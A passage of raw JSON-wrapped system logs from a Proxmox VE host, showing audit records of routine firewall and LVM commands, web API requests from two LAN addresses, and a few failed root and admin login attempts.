items=1 ppid=1119 pid=57268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336046,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966336.046:69350): table=filter family=7 entries=0 op=xt_replace pid=66572 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964875841,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964875.841:63016): table=filter family=7 entries=4 op=xt_replace pid=60465 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355147,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.147:69400): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964762112,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:40 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781965688695,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:07 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964610397,"@rawstring":"<27>Jun 20 15:10:10 pvedaemon[1214]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966271016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966271.016:69146): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966345053,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966345.053:69366): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66585 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695468,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.468:62192): argc=1 a0=\"date\""} {"@timestamp":1781964112961,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964112.961:59632): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57267 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966325975,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966325.975:69319): table=filter family=7 entries=0 op=xt_replace pid=66545 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964865712,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964865.712:62967): table=filter family=7 entries=4 op=xt_replace pid=60415 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355140,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.140:69399): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964760617,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965688695,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781964608646,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966271009,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966271.009:69144): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966344937,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966344.937:69365): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c0020 a1=64f8d6f88cc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66582 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695464,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.464:62190): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964112961,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964112.961:59631): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57267 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966315896,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966315.896:69286): table=filter family=7 entries=0 op=xt_replace pid=66515 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964855585,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964855.585:62925): table=filter family=7 entries=4 op=xt_replace pid=60376 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355133,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.133:69398): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964759002,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781965688695,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964608645,"@rawstring":"password check failed for user (root)"} {"@timestamp":1781966271009,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966271.009:69143): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966344907,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966344.907:69364): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e1ee0 a1=64f8d73bb6d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695458,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.458:62189): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964107955,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964107.955:59629): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57266 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966305823,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966305.823:69256): table=filter family=7 entries=0 op=xt_replace pid=66489 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964845450,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964845.450:62883): table=filter family=7 entries=4 op=xt_replace pid=60337 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966355128,"@rawstring":"node=pve type=EXECVE msg=audit(1781966355.128:69397): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964759002,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:37 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 461"} {"@timestamp":1781965687698,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964606840,"@rawstring":"<27>Jun 20 15:10:06 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966266000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966266.000:69141): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341370,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966341.370:69363): arch=c000003e syscall=59 success=yes exit=0 a0=61301a8d1570 a1=61301a957ac0 a2=61301a8aab30 a3=8 items=2 ppid=1541 pid=66578 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"clear\" exe=\"/usr/bin/clear\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695451,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.451:62188): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964107954,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964107.954:59628): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57266 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966295744,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966295.744:69226): table=filter family=7 entries=0 op=xt_replace pid=66464 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964835320,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964835.320:62841): table=filter family=7 entries=4 op=xt_replace pid=60295 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966354041,"@rawstring":"node=pve type=EXECVE msg=audit(1781966354.041:69396): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964759002,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781965687698,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781964604883,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966266000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966266.000:69140): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966341.254:69362): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66577 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695447,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.447:62187): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964107939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964107.939:59626): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57265 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285667,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966285.667:69196): table=filter family=7 entries=0 op=xt_replace pid=66439 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964825191,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964825.191:62799): table=filter family=7 entries=4 op=xt_replace pid=60256 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966354016,"@rawstring":"node=pve type=EXECVE msg=audit(1781966354.016:69395): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964756676,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965686581,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:05 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 937"} {"@timestamp":1781964604882,"@rawstring":"password check failed for user (root)"} {"@timestamp":1781966265991,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.991:69138): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66388 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966341243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966341.243:69359): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66576 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695441,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.441:62186): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964107939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964107.939:59625): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57265 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275593,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966275.593:69166): table=filter family=7 entries=0 op=xt_replace pid=66412 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964816057,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964816.057:62760): table=filter family=7 entries=4 op=xt_replace pid=60214 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966351287,"@rawstring":"node=pve type=EXECVE msg=audit(1781966351.287:69394): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964756676,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 839"} {"@timestamp":1781965686581,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781964603433,"@rawstring":"<27>Jun 20 15:10:03 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966265991,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.991:69137): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66388 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.230:69356): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695435,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.435:62185): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964105255,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.255:59621): arch=c000003e syscall=59 success=no exit=-2 a0=7fffb8ce6f20 a1=5d4eaabc6310 a2=5d4eaabbf680 a3=5 items=1 ppid=57258 pid=57259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265502,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966265.502:69136): table=filter family=7 entries=0 op=xt_replace pid=66387 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964805929,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964805.929:62718): table=filter family=7 entries=4 op=xt_replace pid=60174 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966351281,"@rawstring":"node=pve type=EXECVE msg=audit(1781966351.281:69391): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964755673,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965684758,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964601065,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966265491,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966265.491:69131): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd5e2ceeb0 a1=5ad67d26b1c0 a2=5ad67d249680 a3=5 items=1 ppid=66380 pid=66381 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336222,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.222:69353): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964695322,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.322:62184): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964105170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.170:59603): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd06c4f690 a1=6037ee6513d0 a2=6037ee62f680 a3=5 items=1 ppid=57239 pid=57240 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255420,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966255.420:69103): table=filter family=7 entries=0 op=xt_replace pid=66357 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964795803,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964795.803:62631): table=filter family=7 entries=4 op=xt_replace pid=60064 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966346272,"@rawstring":"node=pve type=EXECVE msg=audit(1781966346.272:69387): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964755673,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1085"} {"@timestamp":1781965684758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781964590824,"@rawstring":"<27>Jun 20 15:09:50 pvedaemon[1215]: authentication failure; rhost=::ffff:192.168.1.157 user=admin@pve msg=no such user ('admin@pve')\n\u0000"} {"@timestamp":1781966260983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966260.983:69114): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66361 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336046,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.046:69350): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=610bd0bcfe60 items=0 ppid=1156 pid=66572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964695314,"@rawstring":"node=pve type=EXECVE msg=audit(1781964695.314:62181): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964102931,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964102.931:59593): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57229 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245344,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966245.344:69073): table=filter family=7 entries=0 op=xt_replace pid=66331 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964785670,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964785.670:62587): table=filter family=7 entries=4 op=xt_replace pid=60023 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966346265,"@rawstring":"node=pve type=EXECVE msg=audit(1781966346.265:69384): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964755673,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965684758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964590751,"@rawstring":"<27>Jun 20 15:09:50 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=admin@pve msg=no such user ('admin@pve')\n\u0000"} {"@timestamp":1781966260983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966260.983:69113): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66361 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.043:69349): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964694881,"@rawstring":"node=pve type=EXECVE msg=audit(1781964694.881:62178): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964102931,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964102.931:59592): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57229 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245288,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966245.288:69060): table=filter family=10 entries=122 op=xt_replace pid=66317 subj=unconfined comm=\"ip6tables-resto\""} {"@timestamp":1781964775540,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964775.540:62539): table=filter family=7 entries=4 op=xt_replace pid=59979 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345115,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.115:69380): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964752648,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781965684758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 